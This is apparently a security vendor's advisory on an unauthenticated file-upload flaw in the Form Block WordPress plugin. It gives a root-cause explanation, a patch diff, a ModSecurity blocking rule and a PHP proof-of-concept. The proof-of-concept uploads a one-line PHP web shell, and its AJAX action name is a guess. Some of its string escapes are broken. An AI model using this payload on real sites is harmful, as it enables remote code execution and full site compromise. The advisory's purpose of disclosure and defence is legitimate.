Atomic Edge analysis of CVE-2025-54693:
This vulnerability affects the Form Block plugin for WordPress up to and including version 1.5.5. It allows unauthenticated arbitrary file uploads due to missing file type validation in the files() function. The plugin fails to verify the MIME type of uploaded files before processing them. This can lead to remote code execution. The CVSS score is 9.8 (Critical).
The root cause is in the form-block/inc/form-data/class-validation.php file. In the vulnerable version (1.5.5), the files() method at line 405 processes uploaded files. It only checks file size against wp_max_upload_size(). It performs no validation of the file type. The code sends a JSON error if the file is too large, but then passes the file directly into the validated array without checking its extension or MIME type. This allows an attacker to upload any file, including PHP scripts. The vulnerable code path handles both single file uploads (at line 417) and multiple file arrays (at line 413).
An attacker can exploit this by sending a POST request to the WordPress admin-ajax.php endpoint with the appropriate action parameter (likely something like form_block_upload or a similar action exposed by the plugin). The request includes a file parameter that contains a malicious PHP file with a .php extension or any other executable extension. Since the plugin does not validate the file type, the file is accepted and stored on the server. The attacker can then access the uploaded file via a web request, triggering remote code execution. No authentication is required.
The patch introduced a new private static method validate_file_type() at line 510. This method uses WordPress functions to verify the file type. It checks the file size, retrieves allowed MIME types, and calls wp_check_filetype_and_ext() to compare the actual file content with the claimed extension. If the file type does not match the allowed list or the declared type, it sends a JSON error. The patch also adds the file type to the validated array, which was missing before.
Successful exploitation allows an unauthenticated attacker to upload arbitrary files to the WordPress server. This can lead to remote code execution if the uploaded file is a PHP script. The attacker can then execute commands, install backdoors, access sensitive data, or completely compromise the site. The impact is severe and affects the confidentiality, integrity, and availability of the WordPress installation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/form-block/form-block.php
+++ b/form-block/form-block.php
@@ -5,7 +5,7 @@
Plugin Name: Form Block
Plugin URI: https://formblock.pro/en/
Description: An extensive yet user-friendly form block.
-Version: 1.5.5
+Version: 1.5.6
Author: Epiphyt
Author URI: https://epiph.yt
License: GPL2
@@ -45,7 +45,7 @@
define( 'EPI_FORM_BLOCK_FILE', EPI_FORM_BLOCK_BASE . basename( __FILE__ ) );
define( 'EPI_FORM_BLOCK_URL', plugin_dir_url( EPI_FORM_BLOCK_FILE ) );
-define( 'FORM_BLOCK_VERSION', '1.5.4' );
+define( 'FORM_BLOCK_VERSION', '1.5.6' );
if ( ! extension_loaded( 'dom' ) ) {
/**
--- a/form-block/inc/form-data/class-validation.php
+++ b/form-block/inc/form-data/class-validation.php
@@ -405,11 +405,7 @@
continue;
}
- if ( $file['size'] > wp_max_upload_size() ) {
- wp_send_json_error( [
- 'message' => esc_html__( 'The uploaded file is too big.', 'form-block' ),
- ] );
- }
+ self::validate_file_type( $file );
$filesize += $file['size'];
$validated[] = [
@@ -417,15 +413,12 @@
'name' => $file['name'],
'path' => $file['tmp_name'],
'size' => $file['size'],
+ 'type' => $file['type'],
];
}
}
else if ( ! empty( $files['tmp_name'] ) ) {
- if ( $files['size'] > wp_max_upload_size() ) {
- wp_send_json_error( [
- 'message' => esc_html__( 'The uploaded file is too big.', 'form-block' ),
- ] );
- }
+ self::validate_file_type( $files );
$filesize += $files['size'];
$validated[] = [
@@ -433,6 +426,7 @@
'name' => $files['name'],
'path' => $files['tmp_name'],
'size' => $files['size'],
+ 'type' => $files['type'],
];
}
}
@@ -516,4 +510,51 @@
return self::$instance;
}
+
+ /**
+ * Validate a given file type with the actual file.
+ * Either exits with a JSON error code or allows further processing.
+ *
+ * @param array{error: int, full_path: string, name: string, size: int, tmp_name: string, type: string} $file File to validate
+ */
+ private static function validate_file_type( array $file ): void {
+ if ( $file['size'] > wp_max_upload_size() ) {
+ wp_send_json_error( [
+ 'message' => esc_html__( 'The uploaded file is too big.', 'form-block' ),
+ ], 413 );
+ }
+
+ // allow all known mime types
+ if ( is_multisite() ) {
+ remove_filter( 'upload_mimes', 'check_upload_mimes' );
+ }
+
+ $allowed_mime_types = wp_get_mime_types();
+
+ if ( is_multisite() ) {
+ add_filter( 'upload_mimes', 'check_upload_mimes' );
+ }
+
+ /**
+ * Filter allowed mime types to upload.
+ *
+ * @param string[] $allowed_mime_types List of allowed mime types
+ * @param array{error: int, full_path: string, name: string, size: int, tmp_name: string, type: string} $file Current file to validate
+ */
+ $allowed_mime_types = (array) apply_filters( 'form_block_validate_file_type_mime_types', $allowed_mime_types, $file );
+
+ $wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $allowed_mime_types );
+
+ if ( $wp_filetype['ext'] === false || $wp_filetype['type'] === false ) {
+ wp_send_json_error( [
+ 'message' => esc_html__( 'The uploaded file type is not supported.', 'form-block' ),
+ ], 415 );
+ }
+
+ if ( $wp_filetype['type'] !== $file['type'] ) {
+ wp_send_json_error( [
+ 'message' => esc_html__( 'The uploaded file has an invalid type.', 'form-block' ),
+ ], 415 );
+ }
+ }
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-54693
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'Form Block Unauthenticated File Upload Exploit',severity:'CRITICAL',tag:'CVE-2025-54693'"
SecRule ARGS_POST:action "@rx ^form_block_upload$" "chain"
SecRule FILES:name "@rx .(php|phtml|php3|php4|php5|php7|pht|shtml|asa|cer|asp|aspx|jsp)$" "t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-54693 - Form Block <= 1.5.5 - Unauthenticated Arbitrary File Upload
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$action = 'form_block_upload'; // Replace with the actual AJAX action exposed by the plugin
$file_payload = '<?php system($_GET["cmd"]); ?>';
$file_name = 'shell.php';
$file = [
'name' => $file_name,
'type' => 'application/x-php',
'tmp_name' => tmpfile(),
'error' => 0,
'size' => strlen($file_payload)
];
fwrite($file['tmp_name'], $file_payload);
rewind($file['tmp_name']);
$tmp_path = stream_get_meta_data($file['tmp_name'])['uri'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => $action,
'file' => new CURLFile($tmp_path, $file['type'], $file_name)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
if ($http_code == 200) {
echo "[+] File uploaded successfully. Potential RCE at: $target_url/uploads/$file_namen";
} else {
echo "[-] Upload failed. The plugin may have patched the vulnerability or the action name is incorrect.n";
}
?>